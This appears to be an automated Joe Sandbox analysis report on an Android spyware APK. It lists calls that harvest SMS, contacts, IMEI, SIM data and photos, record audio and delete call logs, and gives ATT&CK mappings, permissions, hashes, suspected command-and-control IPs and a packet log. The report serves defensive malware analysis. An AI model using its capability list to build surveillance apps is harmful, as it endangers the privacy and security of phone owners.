    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->deviceInfo:60API Call: android.telephony.TelephonyManager.getNetworkOperatorName
    Source: com.tencent.shopcj.utils.DeviceUtils;->getNetName:40API Call: android.telephony.TelephonyManager.getNetworkOperatorName
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->deviceInfo:54API Call: android.telephony.TelephonyManager.getNetworkCountryIso
    Source: com.tencent.shopcj.utils.DeviceUtils;->getNetCountry:37API Call: android.telephony.TelephonyManager.getNetworkCountryIso
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->deviceInfo:45API Call: android.telephony.TelephonyManager.getLine1Number
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->deviceInfo:48API Call: android.telephony.TelephonyManager.getDeviceId
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->deviceInfo:72API Call: android.telephony.TelephonyManager.getSimSerialNumber
    Source: com.tencent.shopcj.utils.DeviceUtils;->getDeviceId:11API Call: android.telephony.TelephonyManager.getDeviceId
    Source: com.tencent.shopcj.utils.DeviceUtils;->getDeviceId:12API Call: android.telephony.TelephonyManager.getDeviceId
    Source: com.tencent.shopcj.utils.DeviceUtils;->getDeviceId:28API Call: android.telephony.TelephonyManager.getDeviceId
    Source: com.tencent.shopcj.utils.DeviceUtils;->getImei:31API Call: android.telephony.TelephonyManager.getSimSerialNumber
    Source: com.tencent.shopcj.utils.DeviceUtils;->getImsi:34API Call: android.telephony.TelephonyManager.getSubscriberId
    Source: com.tencent.shopcj.utils.DeviceUtils;->getTel:43API Call: android.telephony.TelephonyManager.getLine1Number
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->deviceInfo:51API Call: android.telephony.TelephonyManager.getDeviceSoftwareVersion
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->deviceInfo:69API Call: android.telephony.TelephonyManager.getSimCountryIso
    Source: com.tencent.shopcj.utils.DeviceInfoUtil;->deviceInfo:57API Call: android.telephony.TelephonyManager.getNetworkOperator
    Source: com.tencent.shopcj.utils.ProcessCommand$2;->run:40API Call: android.media.MediaRecorder.setOutputFile
    Source: com.tencent.shopcj.receiver.SmsReceiver;->writeSMS:14API Call: android.net.Uri.parse("content://sms/inbox")
    Source: com.tencent.shopcj.utils.ProcessCommand;->getSmsInPhone:302API Call: android.net.Uri.parse("content://sms/")
    Source: com.tencent.shopcj.utils.ProcessCommand;->getAllPicturesPath:233Field access: android.provider.MediaStore$Images$Media.EXTERNAL_CONTENT_URI
    Source: submitted apkRequest permission: android.permission.READ_SMS
    Source: com.tencent.shopcj.utils.ProcessCommand;->getContacts:69Field access: android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI
    Source: com.tencent.shopcj.receiver.SmsReceiverRegistered receiver: android.provider.Telephony.SMS_RECEIVED
    Source: com.tencent.shopcj.utils.ProcessCommand;->getAllApps:196API Call: android.content.pm.PackageManager.getInstalledPackages
    Source: com.tencent.shopcj.receiver.SmsReceiver;->onReceive:22API Call: android.telephony.SmsMessage.createFromPdu
    Source: com.tencent.shopcj.utils.SMSMonitor$1;->onReceive:8API Call: android.telephony.SmsMessage.createFromPdu
    Source: android.intent.action.MAINUnnatural priority: 2147483647
    Source: com.tencent.shopcj.utils.PhoneMonitor$1;->onReceive:28API Call: android.content.Intent.getStringExtra
    Source: com.tencent.shopcj.receiver.SmsReceiver;->onReceive:25API Call: android.telephony.SmsMessage.getMessageBody
    Source: com.tencent.shopcj.utils.SMSMonitor$1;->onReceive:11API Call: android.telephony.SmsMessage.getMessageBody
    Source: submitted apkRequest permission: android.permission.RECEIVE_SMS
    Source: com.tencent.shopcj.receiver.MainReceiver;->startAppByPackageName:18API Call: android.content.pm.PackageManager.queryIntentActivities
    Source: com.tencent.shopcj.receiver.AlarmReceiver;->startAppByPackageName:33API Call: android.content.pm.PackageManager.queryIntentActivities
    Source: submitted apkRequest permission: android.permission.READ_CONTACTS
    Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
    Source: com.tencent.shopcj.utils.MmsDatabaseChangeObserver;-><clinit>:2API Call: android.net.Uri.parse("content://mms-sms")
    Source: com.tencent.shopcj.utils.MmsDatabaseChangeObserver;->getMmsBody:21API Call: android.net.Uri.parse("content://mms/part")
    Source: com.tencent.shopcj.utils.MmsDatabaseChangeObserver;->onChange:161API Call: android.net.Uri.parse("content://mms")
    Source: com.tencent.shopcj.utils.SMSMonitor$1;->onReceive:4API Call: java.lang.String.equals android.provider.Telephony.SMS_RECEIVED
    Source: Landroid/support/coreui/app/a/c;->findCentralDirectory(Ljava/io/RandomAccessFile;)Landroid/support/coreui/app/a/c$CentralDirectory;Instruction: "ljava/lang/integer;->reversebytes(i)i"
    Source: Lcom/tencent/shopcj/bean/DeviceInformationBean;->parse([B)VInstruction: "lcom/tencent/shopcj/bean/deviceinformationbean;->getimei()ljava/lang/string;"
    Source: Lcom/tencent/shopcj/utils/ProcessCommand;->access$400(Lcom/tencent/shopcj/utils/ProcessCommand;ILjava/lang/String;Ljava/lang/String;)VInstruction: "lcom/tencent/shopcj/utils/processcommand;->sendsms(iljava/lang/string;ljava/lang/string;)v"
    Source: Lcom/tencent/shopcj/utils/PhoneMonitor;->access$100(Lcom/tencent/shopcj/utils/PhoneMonitor;Ljava/lang/String;)VInstruction: "lcom/tencent/shopcj/utils/phonemonitor;->deletecalllog(ljava/lang/string;)v"
    Source: Lcom/tencent/shopcj/bean/UploadFileRequest;-><init>(Ljava/lang/String;Ljava/lang/String;)VInstruction: "iput-object p2, p0, lcom/tencent/shopcj/bean/uploadfilerequest;->name:ljava/lang/string;"
    Source: Lcom/tencent/shopcj/utils/ProcessCommand$1;->run()VInstruction: "sget-object v1, lcom/tencent/shopcj/bean/commandbean;->send_sms:ljava/lang/string;"
    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid AccountsWindows Management InstrumentationPath InterceptionPath Interception2
    Application Discovery
    2
    Capture SMS Messages
    1
    System Network Connections Discovery
    Remote Services1
    Access Contact List
    Exfiltration Over Other Network Medium1
    Encrypted Channel
    1
    Exploit SS7 to Redirect Phone Calls/SMS
    Remotely Track Device Without Authorization2
    Delete Device Data
    Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
    Obfuscated Files or Information
    LSASS Memory1
    System Network Configuration Discovery
    Remote Desktop Protocol11
    Capture Audio
    Exfiltration Over Bluetooth1
    Non-Standard Port
    Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without Authorization1
    Carrier Billing Fraud
    Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account Manager2
    Application Discovery
    SMB/Windows Admin Shares1
    Network Information Discovery
    Automated Exfiltration1
    Non-Application Layer Protocol
    Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Binary PaddingNTDS3
    System Information Discovery
    Distributed Component Object Model2
    Capture SMS Messages
    Scheduled Transfer2
    Application Layer Protocol
    SIM Card SwapCarrier Billing Fraud
    Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA Secrets1
    Process Discovery
    SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    android-buttoncam-android
    SourceDetectionScannerLabelLink
    a.apk8%ReversingLabs
    a.apk12%VirustotalBrowse
    No Antivirus matches
    No Antivirus matches
    No Antivirus matches
    No contacted domains info
    NameSourceMaliciousAntivirus DetectionReputation
    http://www.slf4j.org/codes.html2http://www.slf4j.org/codes.html#StaticLoggerBinder2http://www.slf4j.classes.dexfalse
      high
      http://schemas.android.com/apk/res/androidalias_icon.xmlfalse
        high
        http://www.slf4j.org/codes.html#replay9Seeclasses.dexfalse
          high
          http://www.slf4j.org/codes.html#StaticLoggerBinderclasses.dex, androidfalse
            high
            http://103.151.229.87/index.htmldp.kotlin-v1.lua.mph.drfalse
              unknown
              http://www.slf4j.org/codes.html#null_LF)http://www.slf4j.org/codes.html#null_MDCA&http://www.slf4j.oclasses.dexfalse
                high
                http://www.slf4j.org/codes.html#null_MDCAclasses.dex, androidfalse
                  high
                  http://www.slf4j.org/codes.htmlclasses.dexfalse
                    high
                    http://www.slf4j.org/codes.html#no_static_mdc_binderclasses.dex, androidfalse
                      high
                      http://www.slf4j.org/codes.html#multiple_bindingsclasses.dex, androidfalse
                        high
                        http://www.slf4j.org/codes.html#loggerNameMismatchclasses.dex, androidfalse
                          high
                          http://www.slf4j.org/codes.html#substituteLoggerKSeeclasses.dexfalse
                            high
                            https://github.com/TooTallNate/Java-WebSocket/wiki/Lost-connection-detectiondp.kotlin-v1.lua.mph.drfalse
                              high
                              https://github.com/TooTallNate/Java-WebSocket/wiki/Lost-connection-detection2Thedp.kotlin-v1.lua.mph.drfalse
                                high
                                http://www.slf4j.org/codes.html#version_mismatchclasses.dex, androidfalse
                                  high
                                  http://www.slf4j.org/codes.html#unsuccessfulInitclasses.dex, androidfalse
                                    high
                                    http://www.slf4j.org/codes.html#replayclasses.dex, androidfalse
                                      high
                                      http://www.slf4j.org/codes.html#null_LFclasses.dexfalse
                                        high
                                        http://www.slf4j.org/codes.html#substituteLoggerclasses.dex, androidfalse
                                          high
                                          http://www.android.com/androidfalse
                                            high
                                            • No. of IPs < 25%
                                            • 25% < No. of IPs < 50%
                                            • 50% < No. of IPs < 75%
                                            • 75% < No. of IPs
                                            IPDomainCountryFlagASNASN NameMalicious
                                            118.166.46.31
                                            unknownTaiwan; Republic of China (ROC)
                                            3462HINETDataCommunicationBusinessGroupTWfalse
                                            103.151.229.87
                                            unknownunknown
                                            140116JETFIBER-AS-INJetFiberINfalse
                                            Joe Sandbox Version:37.1.0 Beryl
                                            Analysis ID:895672
                                            Start date and time:2023-06-28 15:01:10 +02:00
                                            Joe Sandbox Product:CloudBasic
                                            Overall analysis duration:0h 4m 53s
                                            Hypervisor based Inspection enabled:false
                                            Report type:full
                                            Cookbook file name:defaultandroidfilecookbook.jbs
                                            Analysis system description:Android 9 (Pie)
                                            Analysis Mode:default
                                            APK Instrumentation enabled:true
                                            Sample file name:a.apk
                                            Detection:MAL
                                            Classification:mal100.rans.spyw.evad.andAPK@0/253@0/0
                                            • No interacted views
                                            • Not all non-executed APIs are in report
                                            • Report size exceeded maximum capacity and may have missing disassembly code.
                                            • Report size exceeded maximum capacity and may have missing dynamic data code.
                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                            118.166.46.31#Ub85c#Uc820#Ud0dd#Ubc30V_11.2.11.apkGet hashmaliciousUnknownBrowse
                                              103.151.229.87#Ub85c#Uc820#Ud0dd#Ubc30V_11.2.11.apkGet hashmaliciousUnknownBrowse
                                                No context
                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                HINETDataCommunicationBusinessGroupTW#Ub85c#Uc820#Ud0dd#Ubc30V_11.2.11.apkGet hashmaliciousUnknownBrowse
                                                • 118.166.46.31
                                                izie2V13jr.elfGet hashmaliciousUnknownBrowse
                                                • 210.59.179.184
                                                eOF9g6JYAX.elfGet hashmaliciousUnknownBrowse
                                                • 1.167.172.213
                                                aNvZmFtGVf.elfGet hashmaliciousMiraiBrowse
                                                • 125.228.103.117
                                                YUb1L91PXi.elfGet hashmaliciousMiraiBrowse
                                                • 111.250.111.112
                                                KvY0pO3xeD.elfGet hashmaliciousMiraiBrowse
                                                • 111.243.35.41
                                                d_mac_arm64Get hashmaliciousDDosiaBrowse
                                                • 104.76.200.212
                                                twvRsZrImB.elfGet hashmaliciousMiraiBrowse
                                                • 114.38.135.149
                                                rgzUAz5FJw.elfGet hashmaliciousUnknownBrowse
                                                • 122.120.165.244
                                                6l6VWUDtvo.elfGet hashmaliciousMiraiBrowse
                                                • 125.226.158.44
                                                kYg2Ofq3Wi.elfGet hashmaliciousUnknownBrowse
                                                • 211.20.10.136
                                                3CPSrkxnd9.elfGet hashmaliciousMiraiBrowse
                                                • 114.37.108.66
                                                VEkNKgJNwB.elfGet hashmaliciousMiraiBrowse
                                                • 111.253.7.172
                                                hgNBdsozLl.elfGet hashmaliciousUnknownBrowse
                                                • 122.127.229.120
                                                sAuxtmnp5x.elfGet hashmaliciousUnknownBrowse
                                                • 60.251.197.125
                                                dZa1AjvOQQ.elfGet hashmaliciousMirai, MoobotBrowse
                                                • 111.240.128.172
                                                WmX5iiA1zx.elfGet hashmaliciousMiraiBrowse
                                                • 114.34.81.28
                                                B6K2K6o4jf.elfGet hashmaliciousMiraiBrowse
                                                • 111.246.103.212
                                                RYrydry.elfGet hashmaliciousMiraiBrowse
                                                • 220.143.148.174
                                                JIPJuipjh.elfGet hashmaliciousUnknownBrowse
                                                • 220.137.225.114
                                                JETFIBER-AS-INJetFiberIN#Ub85c#Uc820#Ud0dd#Ubc30V_11.2.11.apkGet hashmaliciousUnknownBrowse
                                                • 103.151.229.87
                                                No context
                                                No context
                                                File Type:Dalvik dex file version 035
                                                Category:dropped
                                                Size (bytes):674488
                                                Entropy (8bit):6.069177981447057
                                                Encrypted:false
                                                SSDEEP:12288:XRYukpY5IdkRiMrcHGrp9wbye0xDmCSPD9IjLe4DkeQvfz:XgdkTr2Grp9wbyLZSP55xfz
                                                MD5:EA6BD12A3ABDFAB0883172CF6553FC47
                                                SHA1:7EEDE7355D1038DF60B707808347ACA0C35A0B48
                                                SHA-256:A61BBF51867A3B2D0180591005F7EF817802D64AA22277D43F021D6718ED0943
                                                SHA-512:27B3C8C3E30D222D2872CA7D06748BB2FBD0530674B7E5132019EA06E9849B6E20A4DE22A160075495352961EC2ECEA5429F9D2B9DFB508CBAB153748DFE91EC
                                                Malicious:true
                                                Reputation:low
                                                Preview:dex.035.....&..1\t.....[.Ay.e....J..p...xV4..........I......p...|....[.......i......................Xx...................................;...>...E...I...N...Y...b...k........................................_...w...{......................./...i.................................................W...[..._..............D...W...v.........................................................."...(...B...Y..._...u....................../...6...L...S...W...\...b...w.............................................+...V......................T...}.........................;...m.........................!...,...6...N...T...X................................................................+...1...5...9...>...A...P...T...Y...^...d...k...r...y........................................................................... ...)...@...H...U...^...g...p...}...............................................................................#...+...9...F...M...T...[...d...q...............
                                                File Type:XML 1.0 document, ASCII text
                                                Category:dropped
                                                Size (bytes):147
                                                Entropy (8bit):5.095279941056276
                                                Encrypted:false
                                                SSDEEP:3:vFWWMNCmXyKgCrT1ELAopL8fWYZBAT/AZ5TRTCAdgvUQBy0V0QM+ZT8Ln:TM3iWT1jopL8uY9H5CnLZVZf0
                                                MD5:B8E8AE795C45FBD102E636AF3602A41C
                                                SHA1:19EEA46338085833ECE176647AC9B5EE76AADBC3
                                                SHA-256:63A074F8322A46F4517B0FA9765A443654583D50335DA469AE3D3357CE872C68
                                                SHA-512:95F4A6F2A8A57C5EFF54F417BBD84CE7FBC883D2F606635EDA67A1B24110A16A9B534FCA79B6223BB3299966D63CC6504241FB78EFF1B4A404360265E0103004
                                                Malicious:false
                                                Reputation:low
                                                Preview:<?xml version='1.0' encoding='utf-8' standalone='yes' ?>.<map>. <string name=\"device_id\">86848341-8080-36e8-8791-1f120d41c240</string>.</map>.
                                                File type:Zip archive data, at least v1.0 to extract, compression method=[0x23c2]
                                                Entropy (8bit):7.9205143137817835
                                                TrID:
                                                • Android Package (27504/1) 77.47%
                                                • ZIP compressed archive (8000/1) 22.53%
                                                File name:a.apk
                                                File size:402'336 bytes
                                                MD5:2f371969faf2dc239206e81d00c579ff
                                                SHA1:0ad5289c6b7a438e3970149b183e74b89f534109
                                                SHA256:b3561bf581721c84fd92501e2d0886b284e8fa8e7dc193e41ab300a063dfe5f3
                                                SHA512:ca6b8a908d40f1753d4ed05ea1b1e7987fefbc891ce226ae9611d329e3af7acd0437b2c150f846b87782a6b3a9b71e9ffb657172f548692ced80d90763b03cc3
                                                SSDEEP:12288:qmxsDnaJ/UE1KzIkFeWEYNtSlYYRG9kDWXAshpzh:qmxiG8E1QFeWELYe4fh5h
                                                TLSH:3B841202F5A68625DC2F2B399E95D7C413247E868FF10513B94133ECA6BFAD04F8625A
                                                File Content Preview:PK.......#{..V.H..F...\E......AndroidManifest.xml.......\E......(...............(...................................$...'.../...6...C...F...I...]...`...u...x...{...~...........................................................0...>...k...u..................
                                                Label:
                                                Minimum SDK required:15
                                                Target SDK required:21
                                                Version Code:1
                                                Version Name:17.1.22
                                                Package Name:wyija.utykuvr.uwpexgh
                                                Is Activity:true
                                                Is Receiver:true
                                                Is Service:true
                                                Requests System Level Permissions:false
                                                Play Store Compatible:true
                                                NameIs Entrypoint
                                                wyija.utykuvr.uwpexghcom.tencent.shopcj.ui.AliasMainActivitytrue
                                                wyija.utykuvr.uwpexghcom.tencent.shopcj.ui.MainActivity
                                                wyija.utykuvr.uwpexghcom.tencent.shopcj.ui.AliasActivity
                                                wyija.utykuvr.uwpexghcom.tencent.shopcj.ui.OnePxActivity
                                                wyija.utykuvr.uwpexghcom.tencent.shopcj.ui.AdminActivity
                                                wyija.utykuvr.uwpexghcom.tencent.shopcj.ui.ComposeSmsActivity
                                                wyija.utykuvr.uwpexghandroid.support.dexpro.CopyClip
                                                • com.tencent.shopcj.receiver.AlarmReceiver
                                                • Intent: android.intent.action.MAIN (Priority 2147483647)
                                                • com.tencent.shopcj.receiver.MSmsReceiver
                                                • Intent: android.provider.Telephony.WAP_PUSH_DELIVER
                                                • com.tencent.shopcj.receiver.MainReceiver
                                                • Intent: android.intent.action.BOOT_COMPLETED (Priority 2147483647), android.intent.action.ACTION_SHUTDOWN (Priority 2147483647), android.intent.action.REBOOT (Priority 2147483647), android.intent.action.USER_PRESENT (Priority 2147483647), android.intent.action.PACKAGE_RESTARTED (Priority 2147483647)
                                                • com.tencent.shopcj.receiver.MyDeviceAdminReceiver
                                                • Intent: android.app.action.DEVICE_ADMIN_ENABLED
                                                • com.tencent.shopcj.receiver.SmsReceiver
                                                • Intent: android.provider.Telephony.SMS_DELIVER, android.provider.Telephony.SMS_RECEIVED
                                                • com.tencent.shopcj.service.HeadlessSmsSendService
                                                • Intent: android.intent.action.RESPOND_VIA_MESSAGE (Priority 0)
                                                • com.tencent.shopcj.service.MainService
                                                • Intent: android.intent.action.MAIN (Priority 2147483647)
                                                • com.tencent.shopcj.service.MyJobService
                                                • com.tencent.shopcj.service.RemoteService
                                                • android.permission.ACCESS_NETWORK_STATE
                                                • android.permission.ACCESS_WIFI_STATE
                                                • android.permission.BROADCAST_WAP_PUSH
                                                • android.permission.CHANGE_NETWORK_STATE
                                                • android.permission.CHANGE_WIFI_STATE
                                                • android.permission.DELETE_PACKAGES
                                                • android.permission.DEVICE_POWER
                                                • android.permission.GET_TASKS
                                                • android.permission.GET_TOP_ACTIVITY_INFO
                                                • android.permission.INTERACT_ACROSS_USERS_FULL
                                                • android.permission.INTERNET
                                                • android.permission.READ_CONTACTS
                                                • android.permission.READ_PHONE_STATE
                                                • android.permission.READ_SMS
                                                • android.permission.RECEIVE_BOOT_COMPLETED
                                                • android.permission.RECEIVE_MMS
                                                • android.permission.RECEIVE_SMS
                                                • android.permission.RECEIVE_WAP_PUSH
                                                • android.permission.REORDER_TASKS
                                                • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
                                                • android.permission.SEND_SMS
                                                • android.permission.SYSTEM_ALERT_WINDOW
                                                • android.permission.VIBRATE
                                                • android.permission.WAKE_LOCK
                                                • android.permission.WRITE_APN_SETTINGS
                                                • android.permission.WRITE_CONTACTS
                                                • com.android.alarm.permission.SET_ALARM
                                                Name:
                                                Issuer:
                                                Subject:
                                                NameTypeSize
                                                activity_main.xmlAndroid binary XML468
                                                classes.dex.datUnicode text, UTF-8 text, with no line terminators34
                                                dexpro-build.propertiesUnicode text, UTF-8 text484
                                                device_admin.xmlAndroid binary XML236
                                                AndroidManifest.xmldata17756
                                                classes.dexDalvik dex file version 035129304
                                                admin.xmlAndroid binary XML364
                                                ic_launcher.pngPNG image data, 192 x 192, 8-bit/color RGBA, non-interlaced11398
                                                Ggoogl.dbempty0
                                                resources.arscdata2168
                                                dp.kotlin-v1.lua.mphdata304295
                                                icon.pngPNG image data, 38 x 38, 8-bit/color RGBA, non-interlaced565
                                                alias_icon.xmlAndroid binary XML336
                                                device_id.xml.xml.drXML 1.0 document, ASCII text147
                                                dp.kotlin-v1.lua.mph.drDalvik dex file version 035674488
                                                TimestampSource PortDest PortSource IPDest IP
                                                Jun 28, 2023 15:01:29.387054920 CEST50458443192.168.2.30216.58.212.170
                                                Jun 28, 2023 15:01:29.515031099 CEST39602443192.168.2.30142.250.186.163
                                                Jun 28, 2023 15:01:33.291335106 CEST50458443192.168.2.30216.58.212.170
                                                Jun 28, 2023 15:01:33.547281027 CEST39602443192.168.2.30142.250.186.163
                                                Jun 28, 2023 15:01:35.268440008 CEST50870443192.168.2.30142.250.186.42
                                                Jun 28, 2023 15:01:36.312721014 CEST56068853192.168.2.308.8.4.4
                                                Jun 28, 2023 15:01:37.323596954 CEST56068853192.168.2.308.8.4.4
                                                Jun 28, 2023 15:01:37.338629007 CEST853560688.8.4.4192.168.2.30
                                                Jun 28, 2023 15:01:37.338886976 CEST56068853192.168.2.308.8.4.4
                                                Jun 28, 2023 15:01:37.341947079 CEST56068853192.168.2.308.8.4.4
                                                Jun 28, 2023 15:01:37.356693983 CEST853560688.8.4.4192.168.2.30
                                                Jun 28, 2023 15:01:37.370769024 CEST853560688.8.4.4192.168.2.30
                                                Jun 28, 2023 15:01:37.370799065 CEST853560688.8.4.4192.168.2.30
                                                Jun 28, 2023 15:01:37.370817900 CEST853560688.8.4.4192.168.2.30
                                                Jun 28, 2023 15:01:37.370829105 CEST853560688.8.4.4192.168.2.30
                                                Jun 28, 2023 15:01:37.370937109 CEST56068853192.168.2.308.8.4.4
                                                Jun 28, 2023 15:01:37.373970985 CEST56068853192.168.2.308.8.4.4
                                                Jun 28, 2023 15:01:37.373970985 CEST56068853192.168.2.308.8.4.4
                                                Jun 28, 2023 15:01:37.391614914 CEST56068853192.168.2.308.8.4.4
                                                Jun 28, 2023 15:01:37.406852007 CEST853560688.8.4.4192.168.2.30
                                                Jun 28, 2023 15:01:37.407049894 CEST56068853192.168.2.308.8.4.4
                                                Jun 28, 2023 15:01:37.427242041 CEST853560688.8.4.4192.168.2.30
                                                Jun 28, 2023 15:01:37.427700996 CEST853560688.8.4.4192.168.2.30
                                                Jun 28, 2023 15:01:37.429164886 CEST35910443192.168.2.30172.217.16.174
                                                Jun 28, 2023 15:01:37.429233074 CEST44335910172.217.16.174192.168.2.30
                                                Jun 28, 2023 15:01:37.429331064 CEST35910443192.168.2.30172.217.16.174
                                                Jun 28, 2023 15:01:37.432168961 CEST35910443192.168.2.30172.217.16.174
                                                Jun 28, 2023 15:01:37.432204008 CEST44335910172.217.16.174192.168.2.30
                                                Jun 28, 2023 15:01:37.453447104 CEST853560688.8.4.4192.168.2.30
                                                Jun 28, 2023 15:01:37.453814030 CEST56068853192.168.2.308.8.4.4
                                                Jun 28, 2023 15:01:37.456350088 CEST418645228192.168.2.30108.177.15.188
                                                Jun 28, 2023 15:01:37.491803885 CEST522841864108.177.15.188192.168.2.30
                                                Jun 28, 2023 15:01:37.491964102 CEST418645228192.168.2.30108.177.15.188
                                                Jun 28, 2023 15:01:37.504070997 CEST418645228192.168.2.30108.177.15.188
                                                Jun 28, 2023 15:01:37.518898010 CEST44335910172.217.16.174192.168.2.30
                                                Jun 28, 2023 15:01:37.519144058 CEST35910443192.168.2.30172.217.16.174
                                                Jun 28, 2023 15:01:37.519642115 CEST35910443192.168.2.30172.217.16.174
                                                Jun 28, 2023 15:01:37.519666910 CEST44335910172.217.16.174192.168.2.30
                                                Jun 28, 2023 15:01:37.520529032 CEST44335910172.217.16.174192.168.2.30
                                                Jun 28, 2023 15:01:37.522115946 CEST35910443192.168.2.30172.217.16.174
                                                Jun 28, 2023 15:01:37.522474051 CEST44335910172.217.16.174192.168.2.30
                                                Jun 28, 2023 15:01:37.523348093 CEST35910443192.168.2.30172.217.16.174
                                                Jun 28, 2023 15:01:37.528798103 CEST35910443192.168.2.30172.217.16.174
                                                Jun 28, 2023 15:01:37.528978109 CEST44335910172.217.16.174192.168.2.30
                                                Jun 28, 2023 15:01:37.530534029 CEST35910443192.168.2.30172.217.16.174
                                                Jun 28, 2023 15:01:37.530554056 CEST44335910172.217.16.174192.168.2.30
                                                Jun 28, 2023 15:01:37.538785934 CEST522841864108.177.15.188192.168.2.30
                                                Jun 28, 2023 15:01:37.539232969 CEST522841864108.177.15.188192.168.2.30
                                                Jun 28, 2023 15:01:37.539258003 CEST522841864108.177.15.188192.168.2.30
                                                Jun 28, 2023 15:01:37.539292097 CEST522841864108.177.15.188192.168.2.30
                                                Jun 28, 2023 15:01:37.539309978 CEST522841864108.177.15.188192.168.2.30
                                                Jun 28, 2023 15:01:37.539326906 CEST522841864108.177.15.188192.168.2.30
                                                Jun 28, 2023 15:01:37.539343119 CEST418645228192.168.2.30108.177.15.188
                                                Jun 28, 2023 15:01:37.539354086 CEST418645228192.168.2.30108.177.15.188
                                                Jun 28, 2023 15:01:37.539369106 CEST522841864108.177.15.188192.168.2.30
                                                Jun 28, 2023 15:01:37.539376974 CEST418645228192.168.2.30108.177.15.188
                                                Jun 28, 2023 15:01:37.539411068 CEST418645228192.168.2.30108.177.15.188
                                                Jun 28, 2023 15:01:37.547192097 CEST418645228192.168.2.30108.177.15.188
                                                Jun 28, 2023 15:01:37.571557999 CEST35910443192.168.2.30172.217.16.174
                                                Jun 28, 2023 15:01:37.586570978 CEST522841864108.177.15.188192.168.2.30
                                                Jun 28, 2023 15:01:37.586852074 CEST418645228192.168.2.30108.177.15.188
                                                Jun 28, 2023 15:01:37.600558043 CEST44335910172.217.16.174192.168.2.30
                                                Jun 28, 2023 15:01:37.600750923 CEST35910443192.168.2.30172.217.16.174
                                                Jun 28, 2023 15:01:37.600796938 CEST44335910172.217.16.174192.168.2.30
                                                Jun 28, 2023 15:01:37.600909948 CEST35910443192.168.2.30172.217.16.174
                                                Jun 28, 2023 15:01:37.600929976 CEST44335910172.217.16.174192.168.2.30
                                                Jun 28, 2023 15:01:37.600970984 CEST44335910172.217.16.174192.168.2.30
                                                Jun 28, 2023 15:01:37.601032019 CEST35910443192.168.2.30172.217.16.174
                                                Jun 28, 2023 15:01:37.611315012 CEST35910443192.168.2.30172.217.16.174
                                                Jun 28, 2023 15:01:37.611382008 CEST44335910172.217.16.174192.168.2.30
                                                Jun 28, 2023 15:01:37.611423969 CEST35910443192.168.2.30172.217.16.174
                                                Jun 28, 2023 15:01:37.621630907 CEST522841864108.177.15.188192.168.2.30
                                                Jun 28, 2023 15:01:37.621743917 CEST522841864108.177.15.188192.168.2.30
                                                Jun 28, 2023 15:01:37.628067970 CEST522841864108.177.15.188192.168.2.30
                                                Jun 28, 2023 15:01:37.628106117 CEST522841864108.177.15.188192.168.2.30
                                                Jun 28, 2023 15:01:37.634454012 CEST418645228192.168.2.30108.177.15.188
                                                Jun 28, 2023 15:01:41.163847923 CEST50458443192.168.2.30216.58.212.170
                                                Jun 28, 2023 15:01:41.676968098 CEST39602443192.168.2.30142.250.186.163
                                                Jun 28, 2023 15:01:52.456005096 CEST56068853192.168.2.308.8.4.4
                                                Jun 28, 2023 15:01:52.471220970 CEST853560688.8.4.4192.168.2.30
                                                Jun 28, 2023 15:01:54.116386890 CEST56068853192.168.2.308.8.4.4
                                                Jun 28, 2023 15:01:54.139880896 CEST853560688.8.4.4192.168.2.30
                                                Jun 28, 2023 15:01:54.148452044 CEST853560688.8.4.4192.168.2.30
                                                Jun 28, 2023 15:01:54.155680895 CEST360768081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:01:54.191481113 CEST56068853192.168.2.308.8.4.4
                                                Jun 28, 2023 15:01:54.345458984 CEST3757080192.168.2.30103.151.229.87
                                                Jun 28, 2023 15:01:55.181227922 CEST360768081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:01:55.373271942 CEST3757080192.168.2.30103.151.229.87
                                                Jun 28, 2023 15:01:57.037266970 CEST50458443192.168.2.30216.58.212.170
                                                Jun 28, 2023 15:01:57.229284048 CEST360768081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:01:57.421247005 CEST3757080192.168.2.30103.151.229.87
                                                Jun 28, 2023 15:01:58.061283112 CEST39602443192.168.2.30142.250.186.163
                                                Jun 28, 2023 15:02:01.261586905 CEST360768081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:02:09.326339006 CEST56068853192.168.2.308.8.4.4
                                                Jun 28, 2023 15:02:09.327850103 CEST360768081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:02:09.341442108 CEST853560688.8.4.4192.168.2.30
                                                Jun 28, 2023 15:02:14.162657022 CEST56068853192.168.2.308.8.4.4
                                                Jun 28, 2023 15:02:14.164555073 CEST56068853192.168.2.308.8.4.4
                                                Jun 28, 2023 15:02:14.178225994 CEST853560688.8.4.4192.168.2.30
                                                Jun 28, 2023 15:02:14.179639101 CEST853560688.8.4.4192.168.2.30
                                                Jun 28, 2023 15:02:14.179893970 CEST56068853192.168.2.308.8.4.4
                                                Jun 28, 2023 15:02:28.272033930 CEST50458443192.168.2.30216.58.212.170
                                                Jun 28, 2023 15:02:28.765719891 CEST360808081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:02:28.766531944 CEST360828081192.168.2.30118.166.46.31
                                                Jun 28, 2023 15:02:29.808187962 CEST360828081192.168.2.30118.166.46.31
